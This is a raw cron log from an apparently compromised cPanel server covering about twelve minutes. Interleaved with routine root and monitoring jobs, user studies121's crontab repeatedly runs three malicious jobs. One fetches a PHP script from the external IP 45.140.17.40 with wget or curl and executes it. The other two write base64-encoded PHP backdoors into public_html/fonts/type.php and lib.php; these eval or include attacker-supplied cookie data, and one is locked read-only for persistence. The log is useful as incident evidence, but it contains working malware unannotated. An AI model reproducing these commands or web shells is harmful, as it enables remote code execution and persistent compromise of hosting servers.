Sep  3 22:06:01 ip-184-168-122-23 CROND[6568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:06:01 ip-184-168-122-23 CROND[6569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:06:01 ip-184-168-122-23 CROND[6570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:06:01 ip-184-168-122-23 CROND[6571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:07:01 ip-184-168-122-23 CROND[6656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:07:01 ip-184-168-122-23 CROND[6657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:07:01 ip-184-168-122-23 CROND[6660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:07:01 ip-184-168-122-23 CROND[6659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:08:01 ip-184-168-122-23 CROND[6739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:08:01 ip-184-168-122-23 CROND[6741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:08:01 ip-184-168-122-23 CROND[6742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:08:01 ip-184-168-122-23 CROND[6743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:08:01 ip-184-168-122-23 CROND[6744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:09:01 ip-184-168-122-23 CROND[6854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:09:01 ip-184-168-122-23 CROND[6856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:09:01 ip-184-168-122-23 CROND[6858]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 22:09:01 ip-184-168-122-23 CROND[6857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:09:01 ip-184-168-122-23 CROND[6861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:10:01 ip-184-168-122-23 CROND[6949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:10:01 ip-184-168-122-23 CROND[6951]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:10:01 ip-184-168-122-23 CROND[6952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:10:01 ip-184-168-122-23 CROND[6958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:10:01 ip-184-168-122-23 CROND[6960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:10:01 ip-184-168-122-23 CROND[6956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:10:01 ip-184-168-122-23 CROND[6959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:10:01 ip-184-168-122-23 CROND[6957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:11:01 ip-184-168-122-23 CROND[7126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:11:01 ip-184-168-122-23 CROND[7127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:11:01 ip-184-168-122-23 CROND[7128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:11:01 ip-184-168-122-23 CROND[7129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:12:01 ip-184-168-122-23 CROND[7210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:12:01 ip-184-168-122-23 CROND[7211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:12:01 ip-184-168-122-23 CROND[7213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:12:01 ip-184-168-122-23 CROND[7212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:12:01 ip-184-168-122-23 CROND[7216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:13:01 ip-184-168-122-23 CROND[7297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:13:01 ip-184-168-122-23 CROND[7298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:13:01 ip-184-168-122-23 CROND[7299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:13:01 ip-184-168-122-23 CROND[7300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:14:01 ip-184-168-122-23 CROND[7378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:14:01 ip-184-168-122-23 CROND[7380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:14:01 ip-184-168-122-23 CROND[7382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:14:01 ip-184-168-122-23 CROND[7384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:14:01 ip-184-168-122-23 CROND[7381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:15:01 ip-184-168-122-23 CROND[7509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:15:01 ip-184-168-122-23 CROND[7510]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 22:15:01 ip-184-168-122-23 CROND[7514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:15:01 ip-184-168-122-23 CROND[7517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:15:01 ip-184-168-122-23 CROND[7518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:15:01 ip-184-168-122-23 CROND[7519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:15:02 ip-184-168-122-23 CROND[7520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:16:01 ip-184-168-122-23 CROND[7843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:16:01 ip-184-168-122-23 CROND[7845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 22:16:01 ip-184-168-122-23 CROND[7847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:16:01 ip-184-168-122-23 CROND[7846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:16:01 ip-184-168-122-23 CROND[7849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:16:01 ip-184-168-122-23 CROND[7848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:17:01 ip-184-168-122-23 CROND[7951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:17:01 ip-184-168-122-23 CROND[7950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:17:01 ip-184-168-122-23 CROND[7952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:17:01 ip-184-168-122-23 CROND[7949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:18:02 ip-184-168-122-23 CROND[8113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:18:02 ip-184-168-122-23 CROND[8115]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
